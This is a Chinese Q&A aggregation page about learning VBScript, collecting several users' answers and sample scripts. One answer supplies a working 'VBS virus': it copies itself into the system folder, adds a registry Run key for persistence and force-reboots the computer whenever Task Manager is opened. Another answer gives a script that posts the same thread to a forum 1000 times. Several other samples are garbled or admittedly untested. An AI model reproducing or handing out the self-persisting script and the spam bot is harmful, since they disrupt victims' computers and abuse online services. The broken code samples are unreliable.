当前位置:首页 » 编程软件 » vbs脚本教程

vbs脚本教程

发布时间: 2022-01-30 12:38:09

㈠ 看到一些VBS脚本很有趣,想学习vbs制作一些有趣的脚本,对于菜鸟,该如何学习VBS呢

从条件语句和循环语句学起。比如If条件,Select Case,For循环等。
然后学习一些基本的对象的用法,比如InputBox,MessageBox。
然后练习在脚本内部简单的一些控制,比如InputBox输入一个内容,进行计算,再通过MsgBox输出。
然后增加 控制的复杂程度,比如判断输入的内容是不是数字,长度是不是够,大小是不是合适等等。
然后可以学习用脚本来操作系统的文件,比如文件移动了,重命名了。
理解了变量,过程,函数 ,控制语句这些,入门了后面就没什么问题了,然后多看别人的代码来提高自己。
语言本身没有什么难度。

㈡ vbs脚本教程

VBS病毒的原理与防护(转帖

㈢ 如何编写vbs脚本

其实vbs脚本和Visual
Bacic语言很相似
VBS就是visual
basic
script,vb语言脚本
可以使用msg,fso,等等对象和函数,但是除了通用窗体如inputbox之类的外不能出现窗体,只能做到类似批处理的工作,在一些方面有特殊作用,比如组策略gpedit.msc中可以用来做成启动脚本,用来启动一些带参数的软件如drvanti,我通常用VBS来启动这个参数Drvanti.exe
-noquit
方法的话网上很多,可以去找,说来话长。

㈣ vbs脚本学习

vb你会了!学VBS就简单得多了!

㈤ vbs脚本的制作!

呵呵,成功了。

Set objfs=CreateObject("scripting.filesystemobject")
Set objDialog=CreateObject("UserAccounts.CommonDialog")
objDialog.Filter="vbs File|*.vbs|All Files|*.*"
objDialog.InitialDir = ""
objDialog.ShowOpen
strLoadFile = objDialog.FileName
if not strLoadFile = "" then
set objf=objfs.opentextfile(strLoadFile)
str=objf.ReadLine
start=InStr(str,"array(")+6
str=Mid(str,start,Len(str)-start)
strs=Split(str,",",-1,1)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
Next
objf.Close
Set objf=objfs.OpenTextFile(strLoadFile,2)
objf.Write runner
MsgBox "解密成功",,"提示"
End If

㈥ vbs脚本编写

dimws,ShutdownRunner
setws=creatrobject("wscript.shell")
ws.run"C:Windowssystem32cmd.exeat/delete/yes"
SetShutdownRunner=CreateObject("wscript.shell")ShutdownRunner.run"at22:10shutdown-s-t"+"60",vbHide

㈦ 怎么制作VBS脚本

网络一下 稻米鼠学编程 VBS篇

㈧ vbs脚本病毒编写教程(不是拿去害人,是自己用来玩玩) 急!!!!!

Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 & "\" & fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa",""""& path2 &"""","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 & "\")
ws.Run """"& path2 &"""",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count<>0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function

㈨ 求高手给写个VBS脚本!!!!

'保存为vbs类型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假设这是aaa,修改下路径即可
file2="bbb.txt" '假设这是bbb,修改下路径即可
file3="c.exe" '某c程序
button="^N" '某开始按钮的快捷键,你必须先确定这个快捷键按钮可以用键盘操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是别的组合键
tmp1=envision("tmp")&"\tmp1" '这是aaa的临时记录文件
tmp2=envision("tmp")&"\tmp2" '这是bbb的临时记录文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必须记录文件,否则往后程序无法得知是否更新
'do 这是循环开始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序无法执行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的话程序自动退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序无法执行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的话程序自动退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb没有更新的话就退出程序.这里如需要退出就把这一行第一个'字符去掉即可退出.反之如果不需要则不管或删除此行.若需要执行某C程序则将上面3行前面的'去掉
end if
else
popup file1&"没有变化,如果是第一次运行本程序,请再运行一次.",3,wscript.scriptname,64 '如不需提示可删除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb没有更新的话就退出程序.这里如需要退出就把这一行第一个'字符去掉即可退出.反之如果不需要则不管或删除此行.若需要执行某C程序则将上面3行前面的'去掉
end if
else
shell.popup file1&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
end if
end if
'wscript.sleep 1000*30 '30秒执行一次
'loop 循环结束

'==================================
'代码没有经过任何测试,如果不符合实际要求.可以网络hi我.怎么用法自己调整.如需要循环执行将32行的'do前面的'去掉,和76行的'loop前面的'去掉.循环的时候系统肯定会很慢,不保证能正常使用电脑.如需定时循环一次可以将75行最前面的'去掉.
'==================================

㈩ 求一VBS脚本的详细注释

set ie=createobject("internetexplorer.application")'ie对象 ie.toolbar=0 '隐藏ie界面菜单栏 ie.visible=1 'ie界面可见 ie.navigate " http://post..com/f?ct=&tn=&rn=&pn=&lm=&sc=&kw=%CB%A2%CC%F9&rs2=0&myselectvalue=1&word=%CB%A2%CC%F9&tb=on"'网址 wscript.sleep 2000'暂停2秒,等待网页完全打开 for i=1 to 1000 '循环发帖1000次 ie.document.post.ti.value="按键精灵好啊"'设置帖子标题 ie.document.post.co.click '鼠标定位到帖子内容,其实在设置帖子标题之前应该也先定位一下标题 ie.document.post.co.value="按键精灵好啊" '设置帖子内容 ie.document.post.submit3.click '点击“发表帖子”按钮 wscript.sleep 30*1000 '暂停30秒,等待帖子提交成功 next '完成发帖一次,进行下一次发帖 msgbox "End" '信息框显示"End"

热点内容
大宇精雕机的密码是多少 发布:2024-04-28 23:50:02 浏览:457
androidapi查询 发布:2024-04-28 23:44:06 浏览:58
怎么升级加密狗 发布:2024-04-28 23:24:57 浏览:665
netgear远程访问 发布:2024-04-28 23:06:18 浏览:532
javaweb整合开发 发布:2024-04-28 23:03:49 浏览:457
福康中国服务器地址 发布:2024-04-28 22:47:20 浏览:746
mcryptphp 发布:2024-04-28 22:29:12 浏览:195
程序源代码加密 发布:2024-04-28 22:10:42 浏览:836
安卓转移到ios有什么变化 发布:2024-04-28 22:01:05 浏览:392
三洋电视wifi解锁密码是多少 发布:2024-04-28 21:59:36 浏览:629